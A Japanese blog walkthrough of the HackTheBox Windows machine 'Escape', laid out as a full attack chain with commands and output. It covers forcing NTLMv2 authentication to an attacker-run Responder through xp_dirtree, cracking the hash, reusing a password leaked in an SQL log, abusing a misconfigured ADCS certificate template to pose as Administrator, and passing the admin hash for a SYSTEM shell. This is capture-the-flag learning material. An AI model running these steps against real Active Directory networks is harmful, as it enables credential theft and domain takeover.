今回はHackTheBoxのMediumマシン「Escape」のWriteUpです！
Escape、、、エスケープ処理が攻略に関わってくるのでしょうか。
グラフはまさにMediumといった形になっていますが、今回のマシンはWindowsなので、Linuxとは異なる観点が必要です。攻略目指して頑張ります！
HackTheBoxってなに？という方はこちらの記事を見てみてください！一緒にハッキングしましょう！
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！
Escape
侵入
それでは、攻略を開始します。
まずは、いつものポートスキャンから行います。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ sudo nmap -Pn -n -v --reason -sS -p- -sC --min-rate=1000 -A 10.10.11.202 -oN nmap.log
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2023-06-18 20:32:41Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-06-18T20:34:22+00:00; +8h00m06s from scanner time.
| ssl-cert: Subject: commonName=dc.sequel.htb
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-06-18T20:34:22+00:00; +8h00m05s from scanner time.
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-06-18T20:34:22+00:00; +8h00m06s from scanner time.
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49687/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49688/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49705/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49709/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
55597/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Windowsなので、大量にポートが出てます。
よく見てみると、「sequel.htb」というドメイン名が出力されています。hostsファイルに記載しておきましょう。
では、445番が開いていたので、smbを調査していきます。
アクセス可能な共有を発見できるでしょうか。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ smbclient -N -L \\\\sequel.htb
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Public Disk
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
NO PASSでアクセス可能な共有が出力されました！
この中でも、Publicが気になります。Publicの中をさらに列挙していきます。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ smbclient -N \\\\sequel.htb\\public
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Nov 19 20:51:25 2022
.. D 0 Sat Nov 19 20:51:25 2022
SQL Server Procedures.pdf A 49551 Fri Nov 18 22:39:43 2022
5184255 blocks of size 4096. 1474892 blocks available
PDFファイルを発見しました。SQLサーバの情報が書かれていそうです。
とりあえずローカルにダウンロードします。
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (50.4 KiloBytes/sec) (average 50.4 KiloBytes/sec)
ダウンロードできたら、内容を見てみましょう。
データベースのユーザ名とパスワードが記載されています！
impacket-mssqlclientを使用し、SQLへアクセスできるか試してみます。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ impacket-mssqlclient sequel.htb/PublicUser:GuestUserCantWrite1@10.10.11.202
Impacket v0.10.1.dev1+20230120.195338.34229464 - Copyright 2022 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
SQLへアクセスできました！
MSSQL
では、どのようなデータベースがあるかみてみましょう。
SQL> select name from master..sysdatabases;
name
------
master
tempdb
model
msdb
4つのデータベースを確認しましたが、これらは全てデフォルトのデータベースであり、特に情報はなさそうです。
どうやら、情報を取得するためにMSSQLを利用するわけではないようなので、他にできることを試します。
では、何をするかですが、まずはxp_cmdshellを使用しMSSQL経由でコマンドを実行できないか試します。
SQL> xp_cmdshell whoami
[-] ERROR(DC\SQLMOCK): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
コマンドを実行する権限がないようです。。
xp_cmdshellは諦めて、次に試すことはNet-NTLMv2を取得することです。Windowsは認証にNet-NTLMv2というチャレンジ/レスポンス認証プロトコルを使用しており、暗号化にユーザのパスワード/ハッシュを使用します。そのため、クラッキングによりパスワードが導き出せるかもしれません。Net-NTMLv2についての詳細は0xdfさんがとても分かりやすい記事を投稿されているので読んでみてください。
つまり何がしたいかというと、MSSQLに再接続する際の通信をキャプチャすることでハッシュを取得し、ハッシュを解読することでパスワードを取得したいということです。
そのために、まずはKali側でResponderを開始します。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ sudo responder -I tun0
待ち受けが完了したら、xp_dirtreeを実行し、通信を発生させます。
SQL> EXEC xp_dirtree '\\10.10.14.2\share'
xp_dirtreeを実行したら、Kali側で確認してみましょう。
[SMB] NTLMv2-SSP Client : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash : sql_svc::sequel:3f0d0f1fd061d017:4DAFC24E35227B582054D177F0326A35:010100000000000000DCECE8D556D9011EB45AAC0DC55EBA000000000200080032005A003200460001001E00570049004E002D00370035004A003700460034004800300043004600390004003400570049004E002D00370035004A00370046003400480030004300460039002E0032005A00320046002E004C004F00430041004C000300140032005A00320046002E004C004F00430041004C000500140032005A00320046002E004C004F00430041004C000700080000DCECE8D556D901060004000200000008003000300000000000000000000000003000005F203CAC4EC7CA7A2148181ECDC38E1D510A6FBB4CDBFF35B5D4E7F7418CC3210A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0036000000000000000000
sql_svcのハッシュが出力されています！
では、このハッシュに対してjohnを実行し、解読できるか試してみましょう。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REGGIE1234ronnie (sql_svc)
1g 0:00:00:09 DONE (2023-03-15 00:40) 0.1018g/s 1089Kp/s 1089Kc/s 1089KC/s REINLY..REDMAN69
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
解読に成功しました！！
sql_svcとしてのシェル
それでは、解読したパスワードを使用し、シェルを取得できるか試してみます。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sql_svc\Documents> whoami
sequel\sql_svc
シェルの取得に成功しました！
横移動
sql_svcのデスクトップを確認してみます。
*Evil-WinRM* PS C:\Users\sql_svc\Desktop> dir
*Evil-WinRM* PS C:\Users\sql_svc\Desktop>
ユーザフラグが見当たりません。横移動が必要なようです。
とりあえず、どのようなユーザがいるか列挙しておきます。Usersディレクトリ内をみてみましょう。
*Evil-WinRM* PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/7/2023 8:58 AM Administrator
d-r--- 7/20/2021 12:23 PM Public
d----- 2/1/2023 6:37 PM Ryan.Cooper
d----- 2/7/2023 8:10 AM sql_svc
新たに、Ryan.Cooperユーザを発見しました。認証情報を取得したりして、シェルの取得を目指します。
では、どこから列挙を始めるかですが、今回のsql_svcユーザはSQLサーバに関するユーザなので、SQL関係のディレクトリやファイルから調査してみます。
*Evil-WinRM* PS C:\SQLServer> dir
Directory: C:\SQLServer
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/7/2023 8:06 AM Logs
d----- 11/18/2022 1:37 PM SQLEXPR_2019
-a---- 11/18/2022 1:35 PM 6379936 sqlexpress.exe
-a---- 11/18/2022 1:36 PM 268090448 SQLEXPR_x64_ENU.exe
SQLServerディレクトリ内を見てみると、Logsやexeファイルを見つけました。まずは、Logsの中を見てみます。
*Evil-WinRM* PS C:\SQLServer\Logs> dir
Directory: C:\SQLServer\Logs
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/7/2023 8:06 AM 27608 ERRORLOG.BAK
BAKファイルを確認しました。内容をみてみましょう。
*Evil-WinRM* PS C:\SQLServer\Logs> type ERRORLOG.BAK
2022-11-18 13:43:05.96 Server Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
Sep 24 2019 13:48:23
Copyright (C) 2019 Microsoft Corporation
Express Edition (64-bit) on Windows Server 2019 Standard Evaluation 10.0 <X64> (Build 17763: ) (Hypervisor)
2022-11-18 13:43:05.97 Server UTC adjustment: -8:00
・・・
2022-11-18 13:43:07.44 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.72 spid51 Attempting to load library 'xpstar.dll' into memory. This is an informational message only. No user action is required.
・・・
ログの内容が出力されました。よく見てみると、ログの終盤あたりにRyan.CooperとNuclearMosquito3というユーザがログインに失敗している記録が残っていることが分かります。Ryan.Cooperユーザは先ほど確認したユーザですが、NuclearMosquito3というユーザは確認できませんでした。存在しないユーザでログインすることは考えにくいのでかなり違和感があります。
Ryan.Cooperとしてのシェル
ログをよく見てみると、RyanユーザとNuclearMosquito3というユーザのログインの時間が4秒ほどしか変わらないことが分かります。このことから私は、NuclearMosquito3はユーザ名ではなくパスワードであり、Ryanユーザログイン時に間違って入力してしまったのではないかという予想を立てました。
この予想が正しければRyanユーザとNuclearMosquito3というパスワードでシェルを取得できるはずです。
evil-winrmを試してみましょう。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ evil-winrm -i 10.10.11.202 -u Ryan.Cooper -p NuclearMosquito3
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami
sequel\ryan.cooper
予想的中！パスワードとして機能し、シェルを取得できました！
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> dir
Directory: C:\Users\Ryan.Cooper\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/18/2023 1:15 PM 34 user.txt
やっとユーザフラグを確認できました！
権限昇格
それでは、最後の関門である権限昇格に移っていきましょう。
まずは、グループを調べます。
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
特に気になるグループは見つかりません。
では、次はなにを列挙すべきでしょうか。。。
winpeasなど色々列挙を行いましたが、結果として今回は証明書が攻略の手掛かりでした。
まず、nmapの出力でもldapを確認できています。認証情報を取得してADCSを特定します。ADCSとはADの証明書サービスです。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ crackmapexec ldap 10.10.11.202 -u ryan.cooper -p NuclearMosquito3 -M adcs
SMB 10.10.11.202 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
LDAPS 10.10.11.202 636 DC [+] sequel.htb\ryan.cooper:NuclearMosquito3
ADCS Found PKI Enrollment Server: dc.sequel.htb
ADCS Found CN: sequel-DC-CA
CNでsequel-DC-CAが使用されています。
それでは、Certify.exeを使用して、証明書に脆弱性がないか調べていきます。Certify.exeは下記のリポジトリからダウンロード可能です。
ダウンロードできたら、実際にマシン側にuploadしていきます。
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> upload /home/kali/Desktop/HackTheBox/tool/Certify.exe
Info: Uploading /home/kali/Desktop/HackTheBox/tool/Certify.exe to C:\Users\Ryan.Cooper\Desktop\Certify.exe
Data: 232104 bytes of 232104 bytes copied
Info: Upload successful!
アップロードが完了したら、実行しましょう。
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> ./certify.exe find /vulnerable
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./'
v1.0.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=sequel,DC=htb'
大量の出力が見られますが、特に気になる部分は下記の情報です。
[!] Vulnerable Certificates Templates :
CA Name : dc.sequel.htb\sequel-DC-CA
Template Name : UserAuthentication
Schema Version : 2
Validity Period : 10 years
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email
mspki-certificate-application-policy : Client Authentication, Encrypting File System, Secure Email
Permissions
Enrollment Permissions
Enrollment Rights : sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Domain Users S-1-5-21-4078382237-1492182817-2568127209-513
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
Object Control Permissions
Owner : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
WriteOwner Principals : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
WriteDacl Principals : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
WriteProperty Principals : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
sequel\Domain Usersに証明書を作成できる権限があります。
これにより管理者の別名で証明書を要求し、権限昇格が行えるかもしれません。この手法に関しては、GhostPackのREADMEのシナリオ3でも紹介されています。
また、ここで確認しておく他の情報としては、テンプレート名です。これは証明書を要求するさいに指定する必要があります。
Template Name : UserAuthentication
テンプレート名はUserAuthenticationであり、ユーザを認証できることが分かりました。
追加で、msPKIのフラグも確認しておきます。
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
ENROLLEE_SUPPLIES_SUBJECTとなっていることから管理者を代替名として利用できることが分かりました。
ADCS VulnTemplate
では、シナリオ3を参考にしつつ、権限昇格を目指していきます。
まずは、管理者を代替名として使用し、証明書を要求します。
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> ./Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication
/altname:Administrator
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./'
v1.0.0
・・・
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA2nT4K5YQPsRjUpNsTRXF0Fy8OMYSHWPt5FxwtphIAwXTBpGa
AHlMRl0Jig0UaWNwwQc82jdaCJ1tLnYpPln4mNZZzpOd+265QnRctxyIXTn0x0t1
BixI0flI0WnaR4TChRkJbxdsvuRNuV356F6DxgihRUY57BPcWUJueUAqiHceT2yw
・・・
nJNCrQKBgAoKKF095CHLu9ggBA+1BJafHwwTj2YVLT1eaEReMtn4jGigTZMjaQF1
S4d8OeW/ORT3uFYTocxx401et4H41jpek+e5TkQDkKGVP87VM1/nyyxa6lHHbAp1
GjHAdMcN7O3dTvZE2aft0CR96MpmYeZYhnPraOr+gSBuoKVMfxI4
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGEjCCBPqgAwIBAgITHgAAAAq6D2XOXnDNkgAAAAAACjANBgkqhkiG9w0BAQsF
ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwHhcNMjMwNjE4MjMzNDQwWhcNMjUwNjE4
・・・
L61HuCK02Rmus3coS4cC0nCOVQMnrcrgK3NNZW6Q+9xTm5c4JwlAfbDYm3ui2fWf
JTPiJYMsJ8Rp6yPCxEy5rDDVgvihOs3fEJa40n3i2qj/z9mcaSFPa6y6kWqS2qwk
zFQam1GTmEweSfMd5H8plkwEEl3nuQqHxx3e5V2y/LApKYTH3w9HmCMzzDceKCSM
vfkn9sTbsHajP95cgo1Gr43MlFnM3g==
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:12.8563060
証明書が出力されました。
出力された証明書をpfx形式に変換します。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
変換できたので、あとはTGTを取得するだけです。ここでシナリオ3ではRubeusを使用しているのですが、証明書の権限昇格を調べていく上で、Certipyというツールの存在を知りました。下記のコマンドを実行することでダウンロードできます。
pip3 install certipy-ad
Certipyはリモート（Kali）からコマンドを実行できるため、マシン（Escape側）にアップロードする手間を省くことができます。さらに、オプションの指定も楽に行えるのでおすすめです。
では、Certipyを使用し、TGTを取得していきます。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ certipy auth -pfx cert.pfx -dc-ip 10.10.11.202 -username Administrator -domain sequel.htb
Certipy v4.3.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
エラーが出てしまいました。clock skew too greatと出力されているので、時間に問題があるのでしょうか。
調べてみると、時計の時刻に違いがあることから生じるエラーのようです。ntpdateを実行することでエラーを解消できます。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ sudo ntpdate 10.10.11.202
2023-03-18 02:46:51.313223 (+0900) +28799.641502 +/- 0.105183 10.10.11.202 s1 no-leap
CLOCK: time stepped by 28799.641502
ntpdateが実行できたので、再度Certipyを実行しましょう。
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ certipy auth -pfx cert.pfx -dc-ip 10.10.11.202 -username Administrator -domain sequel.htb -debug
Certipy v4.3.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
NTLMハッシュの取得に成功しました！
rootとしてのシェル
それでは、ハッシュを使用してシェルを取得しましょう！
┌──(kali㉿kali)-[~]
└─$ impacket-psexec sequel.htb/Administrator@10.10.11.202 -hashes aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
Impacket v0.10.1.dev1+20230120.195338.34229464 - Copyright 2022 Fortra
[*] Requesting shares on 10.10.11.202.....
[*] Found writable share ADMIN$
[*] Uploading file uxyWLMjW.exe
[*] Opening SVCManager on 10.10.11.202.....
[*] Creating service CQNw on 10.10.11.202.....
[*] Starting service CQNw.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
権限昇格に成功しました！
C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is EB33-4140
Directory of C:\Users\Administrator\Desktop
02/06/2023 04:43 PM <DIR> .
02/06/2023 04:43 PM <DIR> ..
06/18/2023 01:15 PM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 6,022,668,288 bytes free
フラグも取得し、完全攻略達成です！！
攻略を終えて
今回のマシンはWindowsということもあり、Googleで調べる時間がかなり多かったです。特にMSSQLでのハッシュの取得は初めての経験であり、失敗して調べて失敗して調べての繰り返しでした笑
権限昇格も同じような感じで、調べる時間が多かったです。やはりWindowsは権限昇格を理解するのが非常に難しいと改めて思いました。今回はVulnTemplateで証明書の登録権限があることで管理者を代替名にした権限昇格が可能でしたが、同じ登録権限でもテンプレートに応じて複数のシナリオがありました。臨機応変に対応できるよう色々な手法をさらに勉強する必要があると痛感しました。
全体を通してMediumと言われれば納得です。Ryanユーザに関してはログにそのまま情報が載っていました。難しい部分もあれば簡単な部分もあったのでちょうどいいバランスだったと思います。
今後もHackTheBoxに関する記事を投稿していくので見ていただけると嬉しいです。
最後まで閲覧していただきありがとうございました！！